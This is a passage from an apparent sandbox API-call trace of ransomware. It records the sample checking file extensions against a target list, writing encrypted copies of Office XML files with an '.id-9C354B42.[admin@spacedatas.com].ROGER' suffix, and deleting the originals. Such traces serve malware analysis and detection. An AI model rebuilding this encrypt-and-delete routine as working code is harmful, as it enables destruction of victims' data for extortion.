3 [0045.161] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0045.161] lstrlenW (lpString=".dbf") returned 4 [0045.161] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0045.161] lstrlenW (lpString=".1cd") returned 4 [0045.161] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0045.161] lstrlenW (lpString=".jpg") returned 4 [0045.161] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.161] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.161] lstrlenW (lpString="SETUP.XML") returned 9 [0045.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.162] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=5884) returned 1 [0045.162] CloseHandle (hObject=0x3a8) returned 1 [0045.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0045.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.162] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.162] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0045.164] GetLastError () returned 0x0 [0045.164] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0045.554] WriteFile (in: hFile=0x3d4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0045.556] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.556] WriteFile (in: hFile=0x3d4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.556] SetEndOfFile (hFile=0x3d4) returned 1 [0045.556] CloseHandle (hObject=0x3d4) returned 1 [0045.556] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.556] SetEndOfFile (hFile=0x3a8) returned 1 [0045.557] CloseHandle (hObject=0x3a8) returned 1 [0045.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.558] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0045.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0045.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0045.558] lstrlenW (lpString=".doc") returned 4 [0045.558] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.558] lstrlenW (lpString=".docx") returned 5 [0045.558] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.558] lstrlenW (lpString=".pdf") returned 4 [0045.558] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.558] lstrlenW (lpString=".xls") returned 4 [0045.558] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.558] lstrlenW (lpString=".xlsx") returned 5 [0045.558] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.558] lstrlenW (lpString=".ppt") returned 4 [0045.558] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0045.558] lstrlenW (lpString=".zip") returned 4 [0045.558] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.558] lstrlenW (lpString=".rar") returned 4 [0045.558] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.558] lstrlenW (lpString=".bz2") returned 4 [0045.558] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.558] lstrlenW (lpString=".7z") returned 3 [0045.558] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0045.559] lstrlenW (lpString=".dbf") returned 4 [0045.559] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0045.559] lstrlenW (lpString=".1cd") returned 4 [0045.559] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0045.559] lstrlenW (lpString=".jpg") returned 4 [0045.559] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0045.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0045.559] lstrlenW (lpString=".doc") returned 4 [0045.559] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.559] lstrlenW (lpString=".docx") returned 5 [0045.559] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.559] lstrlenW (lpString=".pdf") returned 4 [0045.559] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.559] lstrlenW (lpString=".xls") returned 4 [0045.559] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.559] lstrlenW (lpString=".xlsx") returned 5 [0045.559] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.559] lstrlenW (lpString=".ppt") returned 4 [0045.559] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0045.559] lstrlenW (lpString=".zip") returned 4 [0045.559] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.559] lstrlenW (lpString=".rar") returned 4 [0045.559] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.559] lstrlenW (lpString=".bz2") returned 4 [0045.559] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.559] lstrlenW (lpString=".7z") returned 3 [0045.560] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0045.560] lstrlenW (lpString=".dbf") returned 4 [0045.560] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0045.560] lstrlenW (lpString=".1cd") returned 4 [0045.560] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0045.560] lstrlenW (lpString=".jpg") returned 4 [0045.560] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.560] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.560] lstrlenW (lpString="SETUP.XML") returned 9 [0045.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.784] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=20577) returned 1 [0045.784] CloseHandle (hObject=0x3a8) returned 1 [0045.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0045.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.784] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.784] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0046.079] GetLastError () returned 0x0 [0046.079] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x5061, lpOverlapped=0x0) returned 1 [0046.081] WriteFile (in: hFile=0x340, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0046.082] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.082] WriteFile (in: hFile=0x340, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.082] SetEndOfFile (hFile=0x340) returned 1 [0046.082] CloseHandle (hObject=0x340) returned 1 [0046.083] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.083] SetEndOfFile (hFile=0x3a8) returned 1 [0046.084] CloseHandle (hObject=0x3a8) returned 1 [0046.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0046.084] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0046.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0046.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0046.084] lstrlenW (lpString=".doc") returned 4 [0046.084] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.084] lstrlenW (lpString=".docx") returned 5 [0046.084] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0046.084] lstrlenW (lpString=".pdf") returned 4 [0046.084] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.084] lstrlenW (lpString=".xls") returned 4 [0046.084] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.084] lstrlenW (lpString=".xlsx") returned 5 [0046.084] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0046.084] lstrlenW (lpString=".ppt") returned 4 [0046.085] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0046.085] lstrlenW (lpString=".zip") returned 4 [0046.085] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.085] lstrlenW (lpString=".rar") returned 4 [0046.085] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.085] lstrlenW (lpString=".bz2") returned 4 [0046.085] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.085] lstrlenW (lpString=".7z") returned 3 [0046.085] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0046.085] lstrlenW (lpString=".dbf") returned 4 [0046.085] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0046.085] lstrlenW (lpString=".1cd") returned 4 [0046.085] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0046.085] lstrlenW (lpString=".jpg") returned 4 [0046.085] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0046.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0046.085] lstrlenW (lpString=".doc") returned 4 [0046.085] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.085] lstrlenW (lpString=".docx") returned 5 [0046.085] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0046.085] lstrlenW (lpString=".pdf") returned 4 [0046.085] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.085] lstrlenW (lpString=".xls") returned 4 [0046.085] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.085] lstrlenW (lpString=".xlsx") returned 5 [0046.085] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0046.085] lstrlenW (lpString=".ppt") returned 4 [0046.085] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0046.086] lstrlenW (lpString=".zip") returned 4 [0046.086] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.086] lstrlenW (lpString=".rar") returned 4 [0046.086] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.086] lstrlenW (lpString=".bz2") returned 4 [0046.086] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.086] lstrlenW (lpString=".7z") returned 3 [0046.086] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0046.086] lstrlenW (lpString=".dbf") returned 4 [0046.086] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0046.086] lstrlenW (lpString=".1cd") returned 4 [0046.086] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0046.086] lstrlenW (lpString=".jpg") returned 4 [0046.086] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.086] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0046.086] lstrlenW (lpString="STOCKS.XML") returned 10 [0046.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0046.453] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=2687) returned 1 [0046.467] CloseHandle (hObject=0x36c) returned 1 [0046.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0046.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0046.468] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.468] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0047.116] GetLastError () returned 0x0 [0047.116] ReadFile (in: hFile=0x36c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0xa7f, lpOverlapped=0x0) returned 1 [0047.120] WriteFile (in: hFile=0x3e0, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xa80, lpOverlapped=0x0) returned 1 [0047.121] ReadFile (in: hFile=0x36c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.121] WriteFile (in: hFile=0x3e0, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0047.121] SetEndOfFile (hFile=0x3e0) returned 1 [0047.121] CloseHandle (hObject=0x3e0) returned 1 [0047.121] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.121] SetEndOfFile (hFile=0x36c) returned 1 [0047.122] CloseHandle (hObject=0x36c) returned 1 [0047.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.123] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0047.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0047.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0047.123] lstrlenW (lpString=".doc") returned 4 [0047.123] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.123] lstrlenW (lpString=".docx") returned 5 [0047.123] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0047.123] lstrlenW (lpString=".pdf") returned 4 [0047.123] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.123] lstrlenW (lpString=".xls") returned 4 [0047.123] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.123] lstrlenW (lpString=".xlsx") returned 5 [0047.123] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0047.123] lstrlenW (lpString=".ppt") returned 4 [0047.123] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0047.123] lstrlenW (lpString=".zip") returned 4 [0047.123] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.123] lstrlenW (lpString=".rar") returned 4 [0047.123] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.123] lstrlenW (lpString=".bz2") returned 4 [0047.123] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.123] lstrlenW (lpString=".7z") returned 3 [0047.123] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0047.124] lstrlenW (lpString=".dbf") returned 4 [0047.124] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0047.124] lstrlenW (lpString=".1cd") returned 4 [0047.124] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0047.124] lstrlenW (lpString=".jpg") returned 4 [0047.124] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0047.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0047.124] lstrlenW (lpString=".doc") returned 4 [0047.124] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.124] lstrlenW (lpString=".docx") returned 5 [0047.124] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0047.124] lstrlenW (lpString=".pdf") returned 4 [0047.124] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.124] lstrlenW 